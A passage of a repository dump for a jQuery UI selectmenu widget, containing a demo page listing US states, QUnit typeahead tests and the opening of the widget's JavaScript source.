src=\"../../ui/jquery.ui.core.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.widget.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.position.js\"></script>\n\t\n\t<script type=\"text/javascript\" src=\"../../ui/jquery.ui.selectmenu.js\"></script>\n\n\t<style type=\"text/css\">\n\t\t/* demo styles */\n\t\tbody {font-size: 62.5%; font-family:\"Verdana\",sans-serif; }\n\t\tfieldset { border:0; }\t\n\t\tlabel,select,.ui-select-menu { float: left; margin-right: 10px; }\n\t\tselect { width: 200px; }\t\t\n\t\t.wrap span.ui-selectmenu-item-header,\n\t\t.wrap ul.ui-selectmenu-menu li a { text-decoration: underline !important; }\n\t</style>\n\t<script type=\"text/javascript\">\t\n\t\t$(function(){\t\t\t\n\t\t\t$('select').selectmenu();\n\t\t});\t\t\n\t</script>\n</head>\n<body>\n\t<br />\n\t<br />\n\t<form action=\"#\">\n\t\t<fieldset>\n\t\t\t<label for=\"state\">Select a Speed:</label>\n\t\t\t\t<select id=\"state\">\n\t\t\t\t\t<option></option>\n\t\t\t\t\t<option value=\"AL\">Alabama</option>\n\t\t\t\t\t<option value=\"AK\">Alaska</option>\n\t\t\t\t\t<option value=\"AS\">American Samoa</option>\n\t\t\t\t\t<option value=\"AZ\">Arizona</option>\n\t\t\t\t\t<option value=\"AR\">Arkansas</option>\n\t\t\t\t\t<option value=\"CA\">California</option>\n\t\t\t\t\t<option value=\"CO\">Colorado</option>\n\t\t\t\t\t<option value=\"CT\">Connecticut</option>\n\t\t\t\t\t<option value=\"DE\">Delaware</option>\n\t\t\t\t\t<option value=\"DC\">District of Columbia</option>\n\t\t\t\t\t<option value=\"FM\">Federated States of Micronesia</option>\n\t\t\t\t\t<option value=\"FL\">Florida</option>\n\t\t\t\t\t<option value=\"GA\">Georgia</option>\n\t\t\t\t\t<option value=\"GU\">Guam</option>\n\t\t\t\t\t<option value=\"HI\">Hawaii</option>\n\t\t\t\t\t<option value=\"ID\">Idaho</option>\n\t\t\t\t\t<option value=\"IL\">Illinois</option>\n\t\t\t\t\t<option value=\"IN\">Indiana</option>\n\t\t\t\t\t<option value=\"IA\">Iowa</option>\n\t\t\t\t\t<option value=\"KS\">Kansas</option>\n\t\t\t\t\t<option value=\"KY\">Kentucky</option>\n\t\t\t\t\t<option value=\"LA\">Louisiana</option>\n\t\t\t\t\t<option value=\"ME\">Maine</option>\n\t\t\t\t\t<option value=\"MH\">Marshall Islands</option>\n\t\t\t\t\t<option value=\"MD\">Maryland</option>\n\t\t\t\t\t<option value=\"MA\">Massachusetts</option>\n\t\t\t\t\t<option value=\"MI\">Michigan</option>\n\t\t\t\t\t<option value=\"MN\">Minnesota</option>\n\t\t\t\t\t<option value=\"MS\">Mississippi</option>\n\t\t\t\t\t<option value=\"MO\">Missouri</option>\n\t\t\t\t\t<option value=\"MT\">Montana</option>\n\t\t\t\t\t<option value=\"NE\">Nebraska</option>\n\t\t\t\t\t<option value=\"NV\">Nevada</option>\n\t\t\t\t\t<option value=\"NH\">New Hampshire</option>\n\t\t\t\t\t<option value=\"NJ\">New Jersey</option>\n\t\t\t\t\t<option value=\"NM\">New Mexico</option>\n\t\t\t\t\t<option value=\"NY\">New York</option>\n\t\t\t\t\t<option value=\"NC\">North Carolina</option>\n\t\t\t\t\t<option value=\"ND\">North Dakota</option>\n\t\t\t\t\t<option value=\"MP\">Northern Mariana Islands</option>\n\t\t\t\t\t<option value=\"OH\">Ohio</option>\n\t\t\t\t\t<option value=\"OK\">Oklahoma</option>\n\t\t\t\t\t<option value=\"OR\">Oregon</option>\n\t\t\t\t\t<option value=\"PW\">Palau</option>\n\t\t\t\t\t<option value=\"PA\">Pennsylvania</option>\n\t\t\t\t\t<option value=\"PR\">Puerto Rico</option>\n\t\t\t\t\t<option value=\"RI\">Rhode Island</option>\n\t\t\t\t\t<option value=\"SC\">South Carolina</option>\n\t\t\t\t\t<option value=\"SD\">South Dakota</option>\n\t\t\t\t\t<option value=\"TN\">Tennessee</option>\n\t\t\t\t\t<option value=\"TX\">Texas</option>\n\t\t\t\t\t<option value=\"UT\">Utah</option>\n\t\t\t\t\t<option value=\"VT\">Vermont</option>\n\t\t\t\t\t<option value=\"VI\">Virgin Islands</option>\n\t\t\t\t\t<option value=\"VA\">Virginia</option>\n\t\t\t\t\t<option value=\"WA\">Washington</option>\n\t\t\t\t\t<option value=\"WV\">West Virginia</option>\n\t\t\t\t\t<option value=\"WI\">Wisconsin</option>\n\t\t\t\t\t<option value=\"WY\">Wyoming</option>\n\t\t\t\t</select>\n\t\t</fieldset>\n\t</form>\n</body>\n</html>", "tests/unit/selectmenu/normalselect.html": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n</head>\n<body>\n\t<h2> Normal select menu </h2>\n\t<select name=\"cycling\" id=\"cycling\">\n\t\t<option value=\"James\" selected=\"selected\">James</option>\n\t\t<option value=\"John\">John</option>\n\t\t<option value=\"Jzer\">Jzer</option>\n\t\t<option value=\"Sam\">Sam</option>\n\t\t<option value=\"Shirly\">Shirly</option>' \n\t</select>\n</body>", "tests/unit/selectmenu/selectmenu.html": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta charset=\"UTF-8\" />\n\t<title>jQuery UI SelectMenu Test Suite</title>\n\n\t<link type=\"text/css\" href=\"../../../themes/base/jquery.ui.all.css\" rel=\"stylesheet\" />\n\t<link type=\"text/css\" href=\"../../../themes/base/jquery.ui.selectmenu.css\" rel=\"stylesheet\" />\n\t<script type=\"text/javascript\" src=\"../../../jquery-1.5.1.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../../ui/jquery.ui.core.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../../ui/jquery.ui.widget.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../../ui/jquery.ui.position.js\"></script>\n\t\n\t<script type=\"text/javascript\" src=\"../../../ui/jquery.ui.selectmenu.js\"></script>\n\t\n\t<link rel=\"stylesheet\" href=\"../../../external/qunit.css\" type=\"text/css\"/>\n\t<script type=\"text/javascript\" src=\"../../../external/qunit.js\"></script>\n\t<script type=\"text/javascript\" src=\"../../jquery.simulate.js\"></script>\n\t<script type=\"text/javascript\" src=\"../testsuite.js\"></script>\n\n\t<script type=\"text/javascript\" src=\"selectmenu_typeahead_sequential.js\"></script>\t\n\n</head>\n<body>\n\n<h1 id=\"qunit-header\">jQuery UI SelectMenu Test Suite</h1>\n<h2 id=\"qunit-banner\"></h2>\n<h2 id=\"qunit-userAgent\"></h2>\n<ol id=\"qunit-tests\">\n</ol>\n</body>\n</html>\n", "tests/unit/selectmenu/selectmenu_typeahead_sequential.js": "/*\n * selectmenu_typeahead_sequential.js\n */\n(function($) {\n\n\tvar currentTestId = 0;\n\tvar currentSelectMenu;\n\tvar currentSelectMenuButton;\n\t\n\tvar createKeypressEvent = function(charCode) {\n\t\tvar e = jQuery.Event(\"keypress\");\n\t\te.which = charCode;\n\t\treturn e;\n\t};\n\t\n\tvar s = createKeypressEvent(83);\t\n\tvar j = createKeypressEvent(74);\t\n\tvar o = createKeypressEvent(79);\n\tvar enter = createKeypressEvent(13);\n\tvar down = createKeypressEvent(40);\n\t\n\tvar jOptions = [\n\t\t'James',\n\t\t'John',\n\t\t'Jzer'\t\t\n\t];\n\t\n\tvar sOptions = [\n\t\t'Sam',\n\t\t'Shirly'\n\t];\n\t\n\tvar setupSelectMenu = function(id) {\n\t\tvar fieldset = $('<fieldset id=\"field' + id + '\"></fieldset>');\n\t\t$('<label for=\"cycling' + id + '\">Select a Name:</label>')\n\t\t\t.appendTo(fieldset);\n\t\t$('<select name=\"cycling' + id + '\" id=\"cycling' + id + '\">' +\n\t\t\t'<option value=\"' + jOptions[0] + '\" selected=\"selected\">' + jOptions[0] + '</option>' + \n\t\t\t'<option value=\"' + jOptions[1] + '\">' + jOptions[1] + '</option>' +\n\t\t\t'<option value=\"' + jOptions[2] + '\">' + jOptions[2] + '</option>' +\n\t\t\t'<option value=\"' + sOptions[0] + '\">' + sOptions[0] + '</option>' +\n\t\t\t'<option value=\"' + sOptions[1] + '\">' + sOptions[1] + '</option>' +\n\t\t'</select>')\n\t\t\t.appendTo(fieldset);\n\t\t\t\n\t\tfieldset.appendTo('body');\n\t\t$('select#cycling' + id).selectmenu();\n\t\t\n\t\treturn $('select#cycling' + id);\n\t};\n\t\n\tvar setupSelectMenuWithSOptionSelected = function(id) {\n\t\tvar fieldset = $('<fieldset id=\"field' + id + '\"></fieldset>');\n\t\t$('<label for=\"cycling' + id + '\">Select a Name:</label>')\n\t\t\t.appendTo(fieldset);\n\t\t$('<select name=\"cycling' + id + '\" id=\"cycling' + id + '\">' +\n\t\t\t'<option value=\"' + jOptions[0] + '\">' + jOptions[0] + '</option>' + \n\t\t\t'<option value=\"' + jOptions[1] + '\">' + jOptions[1] + '</option>' +\n\t\t\t'<option value=\"' + jOptions[2] + '\">' + jOptions[2] + '</option>' +\n\t\t\t'<option value=\"' + sOptions[0] + ' selected=\"selected\">' + sOptions[0] + '</option>' +\n\t\t\t'<option value=\"' + sOptions[1] + '\">' + sOptions[1] + '</option>' +\n\t\t'</select>')\n\t\t\t.appendTo(fieldset);\n\t\t\t\n\t\tfieldset.appendTo('body');\n\t\t$('select#cycling' + id).selectmenu();\n\t\t\n\t\treturn $('select#cycling' + id);\n\t};\n\t\n\tvar teardownSelectMenu = function(id) {\n\t\t$('select#cycling' + id + '').selectmenu(\"destroy\").remove();\n\t\t$('label[for=\"cycling' + id + '\"]').remove();\n\t\t$('fieldset#field' + id).remove();\n\t};\n\n\tmodule(\"selectmenu: sequential typeahead - given three items starts with 'j' and two items start with s\", {\n\t\tsetup: function() {\n\t\t\tcurrentSelectMenu = setupSelectMenu(currentTestId);\n\t\t\tcurrentSelectMenuButton = $('#cycling' + currentTestId + '-button');\t\t\t\n\t\t\tcurrentSelectMenuButton.trigger('mousedown.selectmenu');\n\t\t},\n\t\tteardown: function() {\n\t\t\t//teardownSelectMenu(currentTestId);\n\t\t\tcurrentTestId++;\n\t\t}\n\t});\n\n\ttest(\"one 'j' should select first item that starts with j\", function() {\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(enter);\n\t\t\n\t\tequals(currentSelectMenu.val(), jOptions[0]);\n\t});\n\t\n\ttest(\"two 'j' should select second item that starts with j\", function() {\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\t\n\t\tequals(currentSelectMenu.val(), jOptions[1]);\n\t});\n\t\n\ttest(\"three 'j' should select third item that starts with j\", function() {\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\t\n\t\tequals(currentSelectMenu.val(), jOptions[2])\n\t});\n\t\n\ttest(\"four 'j' should select first item that starts with j\", function() {\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\t\n\t\tequals(currentSelectMenu.val(), jOptions[0])\n\t});\n\t\n\ttest(\"typing 'jo' should select first item that starts with 'jo'\", function() {\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(o);\n\t\t\n\t\tvar firstOptionThatStartsWithJO = jOptions[1];\n\t\t\n\t\tequals(currentSelectMenu.val(), firstOptionThatStartsWithJO)\n\t});\n\t\n\ttest(\"one 's' should select first item that starts with s\", function() {\t\t\n\t\tcurrentSelectMenuButton.trigger(s);\n\t\t\n\t\tequals(currentSelectMenu.val(), sOptions[0]);\n\t});\n\t\n\ttest(\"one 's' followed by two 'j' should select second item that starts with j\", function() {\t\t\n\t\tcurrentSelectMenuButton.trigger(s);\n\t\tcurrentSelectMenuButton.trigger(enter);\n\t\t\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(enter);\n\t\t\n\t\tequals( currentSelectMenu.val(), jOptions[1]);\n\t});\n\t\n\ttest(\"'sjs' should select first item that starts with s\", function() {\t\t\n\t\tcurrentSelectMenuButton.trigger(s);\t\t\n\t\tcurrentSelectMenuButton.trigger(j);\n\t\tcurrentSelectMenuButton.trigger(s);\n\t\t\n\t\tequals( currentSelectMenu.val(), sOptions[0]);\n\t});\n\t\n})(jQuery);", "ui/jquery.ui.selectmenu.js": " /*\n * jQuery UI selectmenu dev version\n *\n * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)\n * Dual licensed under the MIT (MIT-LICENSE.txt)\n * and GPL (GPL-LICENSE.txt) licenses.\n *\n * http://docs.jquery.com/UI\n * https://github.com/fnagel/jquery-ui/wiki/Selectmenu\n */\n\n(function($) {\n\n$.widget(\"ui.selectmenu\", {\n\tgetter: \"value\",\n\tversion: \"1.8\",\n\teventPrefix: \"selectmenu\",\n\toptions: {\n\t\ttransferClasses: true,\n\t\ttypeAhead: \"sequential\",\n\t\tstyle: 'dropdown',\n\t\tpositionOptions: {\n\t\t\tmy: \"left top\",\n\t\t\tat: \"left bottom\",\n\t\t\toffset: null\n\t\t},\n\t\twidth: null,\n\t\tmenuWidth: null,\n\t\thandleWidth: 26,\n\t\tmaxHeight: null,\n\t\ticons: null,\n\t\tformat: null,\n\t\tbgImage: function() {},\n\t\twrapperElement: \"\"\n\t},\n\n\t_create: function() {\n\t\tvar self = this, o = this.options;\n\n\t\t// set a default id value, generate a new random one if not set by developer\n\t\tvar selectmenuId = this.element.attr('id') || 'ui-selectmenu-' + Math.random().toString(16).slice(2, 10);\n\n\t\t// quick array of button and menu id's\n\t\tthis.ids = [ selectmenuId + '-button', selectmenuId + '-menu' ];\n\n\t\t// define safe mouseup for future toggling\n\t\tthis._safemouseup = true;\n\n\t\t// create menu button wrapper\n\t\tthis.newelement = $('<a class=\"' + this.widgetBaseClass + ' ui-widget ui-state-default ui-corner-all\" id=\"' + this.ids[0] + '\" role=\"button\" href=\"#\" tabindex=\"0\" aria-haspopup=\"true\" aria-owns=\"' + this.ids[1] + '\"></a>')\n\t\t\t.insertAfter(this.element);\n\t\tthis.newelement.wrap(o.wrapperElement);\n\n\t\t// transfer tabindex\n\t\tvar tabindex = this.element.attr('tabindex');\n\t\tif (tabindex) {\n\t\t\tthis.newelement.attr('tabindex', tabindex);\n\t\t}\n\n\t\t// save reference to select in data for ease in calling methods\n\t\tthis.newelement.data('selectelement', this.element);\n\n\t\t// menu icon\n\t\tthis.selectmenuIcon = $('<span class=\"' + this.widgetBaseClass + '-icon ui-icon\"></span>')\n\t\t\t.prependTo(this.newelement);\n\n\t\t// append status span to button\n\t\tthis.newelement.prepend('<span class=\"' + self.widgetBaseClass + '-status\" />');\n\n\t\t// make associated form label trigger focus\n\t\t$( 'label[for=\"' + selectmenuId + '\"]' )\n\t\t\t.attr( 'for', this.ids[0] )\n\t\t\t.bind( 'click.selectmenu', function() {\n\t\t\t\tself.newelement[0].focus();\n\t\t\t\treturn false;\n\t\t\t});\n\n\t\t// click toggle for menu visibility\n\t\tthis.newelement\n\t\t\t.bind('mousedown.selectmenu', function(event) {\n\t\t\t\tself._toggle(event, true);\n\t\t\t\t// make sure a click won't open/close instantly\n\t\t\t\tif (o.style == \"popup\") {\n\t\t\t\t\tself._safemouseup = false;\n\t\t\t\t\tsetTimeout(function() { self._safemouseup = true; }, 300);\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t})\n\t\t\t.bind('click.selectmenu', function() {\n\t\t\t\treturn false;\n\t\t\t})\n\t\t\t.bind(\"keydown.selectmenu\", function(event) {\n\t\t\t\tvar ret = false;\n\t\t\t\tswitch (event.keyCode) {\n\t\t\t\t\tcase $.ui.keyCode.ENTER:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.SPACE:\n\t\t\t\t\t\tself._toggle(event);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.open(event);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveSelection(-1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.open(event);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveSelection(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\t\tself._moveSelection(-1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\t\t\tself._moveSelection(1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.TAB:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tret = true;\n\t\t\t\t}\n\t\t\t\treturn ret;\n\t\t\t})\n\t\t\t.bind('keypress.selectmenu', function(event) {\n\t\t\t\tself._typeAhead(event.which, 'mouseup');\n\t\t\t\treturn true;\n\t\t\t})\n\t\t\t.bind('mouseover.selectmenu focus.selectmenu', function() {\n\t\t\t\tif (!o.disabled) {\n\t\t\t\t\t$(this).addClass(self.widgetBaseClass + '-focus ui-state-hover');\n\t\t\t\t}\n\t\t\t})\n\t\t\t.bind('mouseout.selectmenu blur.selectmenu', function() {\n\t\t\t\tif (!o.disabled) {\n\t\t\t\t\t$(this).removeClass(self.widgetBaseClass + '-focus ui-state-hover');\n\t\t\t\t}\n\t\t\t});\n\n\t\t// document click closes menu\n\t\t$(document).bind(\"mousedown.selectmenu\", function(event) {\n\t\t\tself.close(event);\n\t\t});\n\n\t\t// change event on original selectmenu\n\t\tthis.element\n\t\t\t.bind(\"click.selectmenu\", function() {\n\t\t\t\tself._refreshValue();\n\t\t\t})\n\t\t\t// FIXME: newelement can be null under unclear circumstances in IE8\n\t\t\t// TODO not sure if this is still a problem (fnagel 20.03.11)\n\t\t\t.bind(\"focus.selectmenu\", function() {\n\t\t\t\tif (self.newelement) {\n\t\t\t\t\tself.newelement[0].focus();\n\t\t\t\t}\n\t\t\t});\n\n\t\t// set width when not set via options\n\t\tif (!o.width) {\n\t\t\to.width = this.element.outerWidth();\n\t\t}\n\t\t// set menu button width\n\t\tthis.newelement.width(o.width);\n\n\t\t// hide original selectmenu element\n\t\tthis.element.hide();\n\n\t\t// create menu portion, append to body\n\t\tthis.list = $('<ul class=\"' + self.widgetBaseClass + '-menu ui-widget ui-widget-content\" aria-hidden=\"true\" role=\"listbox\" aria-labelledby=\"' + this.ids[0] + '\" id=\"' + this.ids[1] + '\"></ul>').appendTo('body');\n\t\tthis.list.wrap(o.wrapperElement);\n\n\t\t// transfer menu click to menu button\n\t\tthis.list\n\t\t\t.bind(\"keydown.selectmenu\", function(event) {\n\t\t\t\tvar ret = false;\n\t\t\t\tswitch (event.keyCode) {\n\t\t\t\t\tcase $.ui.keyCode.UP:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveFocus(-1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.DOWN:\n\t\t\t\t\t\tif (event.altKey) {\n\t\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself._moveFocus(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.LEFT:\n\t\t\t\t\t\tself._moveFocus(-1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.RIGHT:\n\t\t\t\t\t\tself._moveFocus(1);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.HOME:\n\t\t\t\t\t\tself._moveFocus(':first');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.PAGE_UP:\n\t\t\t\t\t\tself._scrollPage('up');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.PAGE_DOWN:\n\t\t\t\t\t\tself._scrollPage('down');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.END:\n\t\t\t\t\t\tself._moveFocus(':last');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.ENTER:\n\t\t\t\t\tcase $.ui.keyCode.SPACE:\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t$(event.target).parents('li:eq(0)').trigger('mouseup');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.TAB:\n\t\t\t\t\t\tret = true;\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t$(event.target).parents('li:eq(0)').trigger('mouseup');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase $.ui.keyCode.ESCAPE:\n\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tret = true;\n\t\t\t\t}\n\t\t\t\treturn ret;\n\t\t\t})\n\t\t\t.bind('keypress.selectmenu', function(event) {\n\t\t\t\tself._typeAhead(event.which, 'focus');\n\t\t\t\treturn true;\n\t\t\t})\n\t\t\t// this allows for using the scrollbar in an overflowed list\n\t\t\t.bind( 'mousedown.selectmenu mouseup.selectmenu', function() { return false; });\n\n\n\t\t// needed when window is resized\n\t\t$(window).bind( \"resize.selectmenu\", $.proxy( self._refreshPosition, this ) );\n\t},\n\n\t_init: function() {\n\t\tvar self = this, o = this.options;\n\n\t\t// serialize selectmenu element options\n\t\tvar selectOptionData = [];\n\t\tthis.element\n\t\t\t.find('option')\n\t\t\t.each(function() {\n\t\t\t\tvar opt = $(this);\n\t\t\t\tselectOptionData.push({\n\t\t\t\t\tvalue: opt.attr('value'),\n\t\t\t\t\ttext: self._formatText($(this).text()),\n\t\t\t\t\tselected: opt.attr('selected'),\n\t\t\t\t\tdisabled: opt.attr('disabled'),\n\t\t\t\t\tclasses: opt.attr('class'),\n\t\t\t\t\ttypeahead: opt.attr('typeahead'),\n\t\t\t\t\tparentOptGroup: opt.parent('optgroup'),\n\t\t\t\t\tbgImage: o.bgImage.call(opt)\n\t\t\t\t});\n\t\t\t});\n\n\t\t// active state class is only used in popup style\n\t\tvar activeClass = (self.options.style == \"popup\") ? \" ui-state-active\" : \"\";\n\n\t\t// empty list so we can refresh the selectmenu via selectmenu()\n\t\tthis.list.html(\"\");\n\n\t\t// write li's\n\t\tif (selectOptionData.length) {\n\t\t\tfor (var i = 0; i < selectOptionData.length; i++) {\n\t\t\t\tvar thisLi = $('<li role=\"presentation\"' + (selectOptionData[i].disabled ? ' class=\"' + this.namespace + '-state-disabled' + '\"' : '' ) + '><a href=\"#\" tabindex=\"-1\" role=\"option\"' + (selectOptionData[i].disabled ? ' aria-disabled=\"true\"' : '' ) + ' aria-selected=\"false\"' + (selectOptionData[i].typeahead ? ' typeahead=\"' + selectOptionData[i].typeahead + '\"' : '' ) + '>'+ selectOptionData[i].text +'</a></li>')\n\t\t\t\t\t.data('index', i)\n\t\t\t\t\t.addClass(selectOptionData[i].classes)\n\t\t\t\t\t.data('optionClasses', selectOptionData[i].classes || '')\n\t\t\t\t\t.bind(\"mouseup.selectmenu\", function(event) {\n\t\t\t\t\t\tif (self._safemouseup && !self._disabled(event.currentTarget) && !self._disabled($( event.currentTarget ).parents( \"ul>li.\" + self.widgetBaseClass + \"-group \" )) ) {\n\t\t\t\t\t\t\tvar changed = $(this).data('index') != self._selectedIndex();\n\t\t\t\t\t\t\tself.index($(this).data('index'));\n\t\t\t\t\t\t\tself.select(event);\n\t\t\t\t\t\t\tif (changed) {\n\t\t\t\t\t\t\t\tself.change(event);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tself.close(event, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t})\n\t\t\t\t\t.bind(\"click.selectmenu\", function() {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t})\n\t\t\t\t\t.bind('mouseover.selectmenu focus.selectmenu', function(e) {\n\t\t\t\t\t\t// no hover if diabled\n\t\t\t\t\t\tif (!$(e.currentTarget).hasClass(self.namespace + '-state-disabled') && !$(e.currentTarget).parent(\"ul\").parent(\"li\").hasClass(self.namespace + '-state-disabled')) {\n\t\t\t\t\t\t\tself._selectedOptionLi().addClass(activeClass);\n\t\t\t\t\t\t\tself._focusedOptionLi().removeClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t\t\t\t$(this).removeClass('ui-state-active').addClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t\t\t\t.bind('mouseout.selectmenu blur.selectmenu', function() {\n\t\t\t\t\t\tif ($(this).is(self._selectedOptionLi().selector)) {\n\t\t\t\t\t\t\t$(this).addClass(activeClass);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$(this).removeClass(self.widgetBaseClass + '-item-focus ui-state-hover');\n\t\t\t\t\t});\n\n\t\t\t\t// optgroup or not...\n\t\t\t\tif ( selectOptionData[i].parentOptGroup.length ) {\n\t\t\t\t\tvar optGroupName = self.widgetBaseClass + '-group-' + this.element.find( 'optgroup' ).index( selectOptionData[i].parentOptGroup );\n\t\t\t\t\tif (this.list.find( 'li.' + optGroupName ).length ) {\n\t\t\t\t\t\tthis.list.find( 'li.' + optGroupName + ':last ul' ).append( thisLi );\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$(' <li role=\"presentation\" class=\"' + self.widgetBaseClass + '-group ' + optGroupName + (selectOptionData[i].parentOptGroup.attr(\"disabled\") ? ' ' + this.namespace + '-state-disabled\" aria-disabled=\"true\"' : '\"' ) + '><span class=\"' + self.widgetBaseClass + '-group-label\">' + selectOptionData[i].parentOptGroup.attr('label') + '</span><ul></ul></li> ')\n\t\t\t\t\t\t\t.appendTo( this.list )\n\t\t\t\t\t\t\t.find( 'ul' )\n\t\t\t\t\t\t\t.append( thisLi );\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tthisLi.appendTo(this.list);\n\t\t\t\t}\n\n\t\t\t\t// append icon if option is specified\n\t\t\t\tif (o.icons) {\n\t\t\t\t\tfor (var j in o.icons) {\n\t\t\t\t\t\tif (thisLi.is(o.icons[j].find)) {\n\t\t\t\t\t\t\tthisLi\n\t\t\t\t\t\t\t\t.data('optionClasses', selectOptionData[i].classes + ' ' + self.widgetBaseClass + '-hasIcon')\n\t\t\t\t\t\t\t\t.addClass(self.widgetBaseClass + '-hasIcon');\n\t\t\t\t\t\t\tvar iconClass = o.icons[j].icon || \"\";\n\t\t\t\t\t\t\tthisLi\n\t\t\t\t\t\t\t\t.find('a:eq(0)')\n\t\t\t\t\t\t\t\t.prepend('<span class=\"' + self.widgetBaseClass + '-item-icon ui-icon ' + iconClass + '\"></span>');\n\t\t\t\t\t\t\tif (selectOptionData[i].bgImage) {\n\t\t\t\t\t\t\t\tthisLi.find('span').css('background-image', selectOptionData[i].bgImage);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t$('<li role=\"presentation\"><a href=\"#\" tabindex=\"-1\" role=\"option\"></a></li>').appendTo(this.list);\n\t\t}\n\t\t// we need to set and unset the CSS classes for dropdown and popup style\n\t\tvar isDropDown = ( o.style == 'dropdown' );\n\t\tthis.newelement\n\t\t\t.toggleClass( self.widgetBaseClass + '-dropdown', isDropDown )\n\t\t\t.toggleClass( self.widgetBaseClass + '-popup', !isDropDown );\n\t\tthis.list\n\t\t\t.toggleClass( self.widgetBaseClass + '-menu-dropdown ui-corner-bottom', isDropDown )\n\t\t\t.toggleClass( self.widgetBaseClass + '-menu-popup ui-corner-all', !isDropDown )\n\t\t\t// add corners to top and bottom menu items\n\t\t\t.find( 'li:first' )\n\t\t\t.toggleClass( 'ui-corner-top', !isDropDown )\n\t\t\t.end().find( 'li:last' )\n\t\t\t.addClass( 'ui-corner-bottom' );\n\t\tthis.selectmenuIcon\n\t\t\t.toggleClass( 'ui-icon-triangle-1-s', isDropDown )\n\t\t\t.toggleClass( 'ui-icon-triangle-2-n-s', !isDropDown );\n\n\t\t// transfer classes to selectmenu and list\n\t\tif ( o.transferClasses ) {\n\t\t\tvar transferClasses = this.element.attr( 'class' ) || '';\n\t\t\tthis.newelement.add( this.list ).addClass( transferClasses );\n\t\t}\n\n\t\t// set menu width to either menuWidth option value, width option value, or select width\n\t\tif ( o.style == 'dropdown' ) {\n\t\t\tthis.list.width( o.menuWidth ? o.menuWidth : o.width );\n\t\t} else {\n\t\t\tthis.list.width( o.menuWidth ? o.menuWidth : o.width - o.handleWidth );\n\t\t}\n\t\to.minMenuWidth && this.list.width() < o.minMenuWidth && this.list.width(o.minMenuWidth);\n\n\t\t// reset height to auto\n\t\tthis.list.css(\"height\", \"auto\");\n\t\tvar listH = this.list.height();\n\t\t// calculate default max height\n\t\tif ( o.maxHeight && o.maxHeight < listH) {\n\t\t\tthis.list.height( o.maxHeight );\n\t\t} else {\n\t\t\tvar winH = $( window ).height() / 3;\n\t\t\tif ( winH < listH ) this.list.height( winH );\t\n\t\t}\n\t\t\n\t\t// save reference to actionable li's (not group label 